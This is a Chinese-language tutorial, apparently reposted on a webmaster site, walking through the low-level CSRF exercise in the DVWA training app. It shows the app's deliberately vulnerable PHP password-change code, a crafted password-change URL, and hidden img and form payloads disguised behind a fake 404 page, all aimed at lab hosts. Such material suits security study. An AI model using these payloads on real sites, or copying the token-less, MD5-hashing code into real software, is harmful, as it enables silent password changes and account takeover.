| (1) Low level <?php   if( isset( $_GET[ 'Change' ] ) ) {      // Get input      $pass_new  = $_GET[ 'password_new' ];      $pass_conf = $_GET[ 'password_conf' ];       // Do the passwords match?      if( $pass_new == $pass_conf ) {          // They do!          $pass_new = mysql_real_escape_string( $pass_new );          $pass_new = md5( $pass_new );           // Update the database          $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";          $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );           // Feedback for the user          echo "<pre>Password Changed.</pre>";      }      else {          // Issue with passwords matching          echo "<pre>Passwords did not match.</pre>";      }       mysql_close();  }   ?> 
 所谓的CSRF(Cross-site request  forgery)直白的翻译就是跨站点请求伪造。说人话就是攻击者通过诱使victim访问其精心构造的url或者访问其精心构造的页面,来使得攻击者可以以victim的身份做诸如发邮件,发消息,改密码等骚操作。在DVWA这个系列里面,模拟的是修改密码的界面。先来看下low等级的代码,可以说是没有进行仍和的再认证,试下为啥是“再认证”?其实我们在访问到这个修改密码界面的时候,已经登陆过一次,服务器会在每次访问时检查session。所以这是第一道认证。但是这种会话级别的认证对csrf是没有抵抗力的。具体的过程可以参看之前提到的链接。我们可以直接构造url:   http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#。 让victim访问,或者使用更加隐匿的: <style>    form{     display:none;    } </style> 
 构造无迹表单,结合js发送请求,或者: <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0"    style="display:none;"/> 
 来实现欺骗隐匿行踪,达到修改密码的目的。顺便盗用两个别人的poc方便展示: 图片形式诱导 <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>  <h1>404<h1>  <h2>file not found.<h2> 
 (编辑:宣城站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |